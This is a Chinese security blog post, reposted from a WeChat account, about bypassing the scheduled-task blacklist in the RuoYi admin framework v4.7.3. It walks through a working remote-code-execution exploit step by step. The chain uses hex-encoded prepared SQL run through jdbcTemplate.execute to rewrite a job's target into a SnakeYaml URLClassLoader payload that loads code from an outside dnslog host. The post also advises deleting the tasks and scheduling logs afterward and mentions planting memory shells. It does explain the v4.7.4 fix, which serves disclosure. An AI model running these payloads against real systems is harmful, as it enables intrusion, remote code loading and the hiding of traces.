RuoYi-定时任务三部曲(其一)

admin 2024年11月8日16:10:07评论4 views字数 4033阅读13分26秒阅读模式

0x00 前言

RuoYi是一款基于SpringBoot+Bootstrap的极速后台开发框架,在项目中也已经遇到过很多次,十分优秀的开源系统。

在其版本小于4.6.2时,存在后台定时任务RCE漏洞。最常见的一种利用方式是通过SnakeYaml进行代码执行。

本文主要内容为:在 v4.7.3 版本中绕过定时任务黑白名单,实现SnakeYaml代码执行。

从若依的更新日志中:http://doc.ruoyi.vip/ruoyi/document/gxrz.html

提取出来的,关于定时任务功能代码的相关信息,供参考

v4.6.2版本 定时任务屏蔽rmi远程调用
v4.7.0版本 屏蔽ldap远程调用、屏蔽http(s)远程调用
v4.7.1版本 定时任务屏蔽违规字符
v4.7.3版本 定时任务屏蔽违规的字符、定时任务目标字符串验证包名白名单
v4.7.4版本 定时任务检查Bean包名是否为白名单配置
v4.7.6版本 定时任务违规的字符

0x01 流程分析

首先我们打开v4.7.3版本代码看下一个定时任务的创建会经过哪些检查

一、Cron表达式格式检查,可忽略

二、关键字检查,不能存在如下关键字:rmi、ldap、ldaps、http、https

RuoYi-定时任务三部曲(其一)

com/ruoyi/quartz/controller/SysJobController.java

三、调用类黑名单检查

调用的类名不能包含如下违规字符

java.net.URL
javax.naming.InitialContext
org.yaml.snakeyaml
org.springframework
org.apache
com.ruoyi.common.utils.file

RuoYi-定时任务三部曲(其一)

com/ruoyi/common/constant/Constants.java

四、调用类白名单检查

如果传入的为限定类名,则检测类名是否包含 com.ruoyi ,否则判定为已注册的bean直接通过白名单检测。

可以发现,这里的白名单检查只是针对限定类名的

RuoYi-定时任务三部曲(其一)

com/ruoyi/quartz/util/ScheduleUtils.java

其次看下定时任务在最后执行时,是如何截取类名、方法、参数的

主要两点:

1.当传入限定类名时,系统会创建一个对象出来使用;不为限定类名时,会根据对象名去spring容器中去找已注册的bean

2.参数的提取是从第一个 ( 和第一个 ) 中间的字符串,即参数中不能有括号出现,否则会被截断

RuoYi-定时任务三部曲(其一)

com/ruoyi/quartz/util/JobInvokeUtil.java

当 Spring 框架启动时,它会扫描项目中使用的 JAR 包,并自动将其中所有的类按照一定的命名规则注册为 Bean,自动注册 Bean 的方式默认情况下是开启的。

RuoYi定时任务功能代码具体的分析过程,推荐大家去看下文末的参考文章,先知上已经有师傅写的非常清晰。

0x02 漏洞复现

利用 jdbcTemplate.execute() 方法绕过违规字符检测,将POC写入定时任务中,并成功执行。

RuoYi-定时任务三部曲(其一)

一、创建一个定时任务,内容任意。(注意尽量不修改系统原有的定时任务)

notepad
123
0/10 * * * * ?

RuoYi-定时任务三部曲(其一)

二、记住任务编号,开始构造sql语句去执行

RuoYi-定时任务三部曲(其一)

构造sql语句并进行十六进制编码(这里注意调整 job_id ,以及利用的POC),通过分开执行绕过括号限制

update sys_job SET invoke_target="org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://ruoyi.ufxctv.dnslog.cn']]]]')" where job_id=100;

RuoYi-定时任务三部曲(其一)

757064617465207379735f6a6f622053455420696e766f6b655f7461726765743d226f72672e79616d6c2e736e616b6579616d6c2e59616d6c2e6c6f6164282721216a617661782e7363726970742e536372697074456e67696e654d616e61676572205b21216a6176612e6e65742e55524c436c6173734c6f61646572205b5b21216a6176612e6e65742e55524c205b27687474703a2f2f72756f79692e7566786374762e646e736c6f672e636e275d5d5d5d272922207768657265206a6f625f69643d3130303b

4条sql语句如下:

设置变量

jdbcTemplate.execute('set @t3=0x757064617465207379735f6a6f622053455420696e766f6b655f7461726765743d226f72672e79616d6c2e736e616b6579616d6c2e59616d6c2e6c6f6164282721216a617661782e7363726970742e536372697074456e67696e654d616e61676572205b21216a6176612e6e65742e55524c436c6173734c6f61646572205b5b21216a6176612e6e65742e55524c205b27687474703a2f2f72756f79692e7566786374762e646e736c6f672e636e275d5d5d5d272922207768657265206a6f625f69643d3130303b')

定义预处理语句

jdbcTemplate.execute('prepare t3 from @t3')

执行预处理语句

jdbcTemplate.execute('execute t3')

删除预处理语句

jdbcTemplate.execute('drop prepare t3')

新建4个定时任务,也可以创建一个,执行成功后修改为下一条语句去执行,依次进行

RuoYi-定时任务三部曲(其一)

按照执行顺序指定上述四个定时任务

RuoYi-定时任务三部曲(其一)

需要注意的是,每次执行完并不一定会成功,所以每 执行一次 后,看一下 调度日志 ,确认成功后再指定下一个去执行

RuoYi-定时任务三部曲(其一)

RuoYi-定时任务三部曲(其一)

RuoYi-定时任务三部曲(其一)

当sql3执行完毕后,我们已经通过数据库操作修改了指定定时任务的任务内容

RuoYi-定时任务三部曲(其一)

删除已经执行过的预处理语句

RuoYi-定时任务三部曲(其一)

查看数据库中

RuoYi-定时任务三部曲(其一)

最后执行修改后的定时任务,触发代码执行

RuoYi-定时任务三部曲(其一)

通过上述四条语句组合,已经可以执行任意sql语句。

如果只是更新指定计划任务的内容,我们可以使用如下语句代替:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://ruoyi.sckhmf.dnslog.cn"]]]]')

将POC使用16进制编码

6f72672e79616d6c2e736e616b6579616d6c2e59616d6c2e6c6f6164282721216a617661782e7363726970742e536372697074456e67696e654d616e61676572205b21216a6176612e6e65742e55524c436c6173734c6f61646572205b5b21216a6176612e6e65742e55524c205b22687474703a2f2f72756f79692e73636b686d662e646e736c6f672e636e225d5d5d5d2729

替换进执行的sql语句中

jdbcTemplate.execute('update sys_job set invoke_target=0x6f72672e79616d6c2e736e616b6579616d6c2e59616d6c2e6c6f6164282721216a617661782e7363726970742e536372697074456e67696e654d616e61676572205b21216a6176612e6e65742e55524c436c6173734c6f61646572205b5b21216a6176612e6e65742e55524c205b22687474703a2f2f72756f79692e73636b686d662e646e736c6f672e636e225d5d5d5d2729 where job_id=104')

随便新建一个定时任务获取任务编号,并将任务编号替换掉POC中的job_id参数,编辑该定时任务为上述POC,执行一次。

当前定时任务内容更新,说明执行成功,接着再执行一次利用即可。

最后别忘了收尾,将新建的定时任务以及调度日志删除。

0x03 总结与思考

  1. 在实际利用中,往往需要打入内存马,先知上是有一些关于若依写入内存马的文章,感兴趣可以学习下。

  2. 对于不出网的情况,可以利用file协议结合文件上传,去本地读取文件执行,这中间存在一个问题需要思考,就是如何获取上传文件的绝对路径。

0x04 漏洞修复

在 v4.7.4版本中,系统会获取bean的限定类名后,再进行白名单检测。至此,所传入的类必须为 com.ruoyi 下的类。

RuoYi-定时任务三部曲(其一)

0x05 参考文章

https://xz.aliyun.com/t/11336

https://github.com/thelostworldFree/Ruoyi-All

:,,.

原文始发于微信公众号(哈拉少安全小队):RuoYi-定时任务三部曲(其一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月8日16:10:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RuoYi-定时任务三部曲(其一)https://cn-sec.com/archives/1793288.html

发表评论

匿名网友 填写信息